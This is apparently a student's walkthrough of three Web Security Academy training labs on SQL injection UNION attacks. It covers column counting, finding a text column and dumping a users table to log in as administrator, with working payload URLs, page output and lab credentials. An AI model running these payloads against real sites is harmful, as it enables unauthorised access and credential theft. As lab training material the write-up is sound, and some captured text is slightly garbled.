


## TASK 1

In this lab, we are required to find the number of fields in the table by performing a UNION SELECT injection.

There are two ways to do this: 1. Using ORDER BY, where we will iterate over the values until we encounter a server error. That is:

Modify the URL of the page to `../filter?category=Pets'+ORDER+BY+1--`



SQL injection UNION attack, determining the number of columns returned by the query

LAB Not solved

Back to lab home Back to lab description >>

Home | My account

WE LIKE TO SHOP

Pets' ORDER BY 1--

Refine your search:  
All Clothing, shoes and accessories Food & Drink Lifestyle Pets Tech gifts

Pet Experience Days	\$38.71	<a href="#">View details</a>
Giant Grasshopper	\$19.41	<a href="#">View details</a>
Pest Control Umbrella	\$97.51	<a href="#">View details</a>
Babbage Web Spray	\$71.28	<a href="#">View details</a>

If the request is processed successfully, increase the last value by 2, 3, and so on.



SQL injection UNION attack, determining the number of columns returned by the query

LAB Not solved

Back to lab home Back to lab description >>

Internal Server Error

Internal Server Error

This means that the table under study has 3 fields.

2. Using a UNION SELECT query of the form: `' +UNION+SELECT+NULL--`

In this case, we will observe the error until the number of selected items is equal to the number of fields in the table. Add NULL to the query separated by commas until the request is successfully processed:

Congratulations, you solved the lab!

[Share your skills!](#)

[Continue learning >>](#)

[Home](#) | [My account](#)

WE LIKE TO  
SHOP

Pets' UNION SELECT NULL,NULL,NULL--

Refine your search:

[All](#) [Clothing, shoes and accessories](#) [Food & Drink](#) [Lifestyle](#) [Pets](#) [Tech gifts](#)

Pet Experience Days	\$38.71	<a href="#">View details</a>
Giant Grasshopper	\$19.41	<a href="#">View details</a>
Pest Control Umbrella	\$97.51	<a href="#">View details</a>
Babbage Web Spray	\$71.28	<a href="#">View details</a>

So, we have confirmed that there are 3 fields in the table.

## TASK 2

This time, you need to know in which of the fields the text type data is stored.

To do this, you need to modify the query from the previous job by replacing one of the null values with an arbitrary text string. Let's say 'Mld9Fo', as suggested by the lab.

So, we get the following query: '+UNION+SELECT+'Mld9Fo',NULL,NULL--

<https://0af700150494bf4ac35e6feb00f400e4.web-security-academy.net/filter?category=Gifts'+UNION+SELECT+'Mld9Fo',NULL,NULL-->

1518 [YouTube](#) [WUT](#) [CEH](#) [Workshop](#) [VFS - Registered Lo...](#)

Internal Server Error

Internal Server Error

The attempt was unsuccessful :( This means that the first field contains something else. Most likely, this will be an integer numeric value-identifier of the item item.

0af700150494bf4ac35e6feb00f400e4.web-security-academy.net/filter?category=Gifts%27+UNION+SELECT+NULL%27Mid9Fo%27,NULL--

enUS YouTube WUT CEH Workshop VFS : Registered Lo...

**WebSecurity Academy**

SQL injection UNION attack, finding a column containing text

LAB Solved

Back to lab description >>

Congratulations, you solved the lab!

Share your skills! Continue learning >>

[Home](#) | [My account](#)



Gifts' UNION SELECT NULL,'Mid9Fo',NULL--

Refine your search:

All Clothing, shoes and accessories Corporate gifts Gifts Lifestyle Pets

Couple's Umbrella	\$68.01	<a href="#">View details</a>
Conversation Controlling Lemon	\$45.91	<a href="#">View details</a>
High-End Gift Wrapping	\$45.61	<a href="#">View details</a>
Snow Delivered To Your Door	\$28.04	<a href="#">View details</a>
Mid9Fo		

Everything worked out with the second field, and as you can see, our row was added to the very bottom of the existing table.

So, field No. 2 contains text data.

### TASK 3

Based on the description of the task, we know that there is a users table in the database with username and password fields. Knowing this information, we can try to extract the data stored in it and try to access the administrator account. Let's use the same UNION SELECT:

' UNION SELECT username, password FROM users--:

0a52003c04e82309c3eb7aa000bb0079.web-security-academy.net/?filter?category=Pets%27+UNION+SELECT+username,+password+FROM+users--	
WUT	YouTube WUT CEH Workshop VFS : Registered Lo...
are a must have for any dog lover. As soon as your pooch has taken its last step of the day just snap the wings into place and click the red "flapping" button on your handheld remote. After a few seconds, your furry friend will be off the ground and up, up and away. Once at a safe height, WARNING: BEWARE OF LOW HANGING BRANCHES, click the blue button to initiate cruise control. The wings have inbuilt cameras so you can see what your dog sees. When clicking the black button your dog can swoop down and gain speed in the 'fake chasing rabbits' mode. This function is used at the owner's risk as it uses a lot of power, and if the battery pack dies a nasty accident could occur. Carrying your pooch has become a thing of the past. With The Lazy Dog, the dog park will become a place to enjoy again. You can also purchase an aviator hat and goggles, extra protection and peace of mind for you and your pooch.	
<b>Giant Grasshopper</b>	
If you are one of those anti-social people who like to sit in a corner and try not to catch anyone's eye, you probably know it doesn't always work. There will always be annoyingly cheery people who think you must be lonely and gatecrash your tranquility with mundane chit-chat. We breed our grasshoppers to an enormously threatening size, and train them to bite using the keyword, 'bite'. This is particularly useful when other pet owners aren't put off by its peculiarities and insist on chatting 'animal' with you. The grasshoppers are surprisingly easy to keep. They will keep your home free of bugs and vermin and need little else to eat. They are slightly jumpy about being taken out on a leash, but with practice, you will find a way to fall in step quite quickly. This particular breed has an exceptionally long lifespan and can be passed down through the generations. The grasshopper hasn't been cat, dog or child tested so we highly recommend not having any visit your home. Can be housed with other grasshoppers, an older quiet one could help to show it the ropes and understand the rules of the house.	
<b>Fur Babies</b>	
Fur babies is a new concept for those of you who live in apartments where the Landlord doesn't allow pets. We have a huge selection of cute animal suits you can dress your babies in. All suits are made from breathable fabrics keeping your little ones cool, or warm, all year round. If you want a rabbit, what the heck, have a rabbit. If the landlord makes an appearance, just slip the hood down and he/she need never know. The best bit is we all know babies love raw veggies, you can hand feed them and talk to them in that silly voice reserved for animals and children. You will never be refused entry to your favorite restaurants again, your fur baby will be at your side wherever you go. They conveniently poop in a diaper so no early morning walks either. Have the best of both worlds, and surprise your friends and family if you purchase from one of our Wild and Rare ranges. Join the trendsetters of Beverly Hills, show off on Instagram, but remember a fur baby is for life, and not just for Christmas.	
<b>More Than Just Birdsong</b>	
There was a time when the only decorations you would see on the wires of a wooden utility pole were socks and baseball boots; the odd colorful kite as well if you were lucky. We have come up with a more desirable way to liven up those ugly overhead wires. Our collection of musical notes are made from electro resistant materials ensuring they are perfectly safe even following a surge, or a lightning strike. What's more exciting though, is we will customize all our crotchets and quavers so you can create a real musical score. You choose the music and we will do the rest. The treble clef even has an inbuilt bird feeder to keep the birds whistling a happy tune throughout the stark winter days. Pleasing to the eye, as well as kind to the local wildlife, you can buy safe in the knowledge you are doing your own little bit for planet earth. Be the trendsetter you have always wanted to be, order your music without delay.	
<b>administrator</b>	k8jamxbxqhnxqfm4gmoo
<b>carlos</b>	d3nha9w0wqz5y8mhj0f0
<b>wiener</b>	jfxm6kkpeu4ryygpgtl

We can see how records with existing users have been added at the bottom, including the administrator, who should have been fired for such carelessness. Now we can log in to his account and change the email:

WebSecurity Academy

SQL injection UNION attack, retrieving data from other tables

LAB Solved

Back to lab description >>

Congratulations, you solved the lab!

Share your skills! Continue learning >>

Home | My account | Log out

My Account

Your username is: administrator

Your email is: ksuksusha98@gmail.com

Email

Update email

In the course of this task, we learned how to get data from other tables.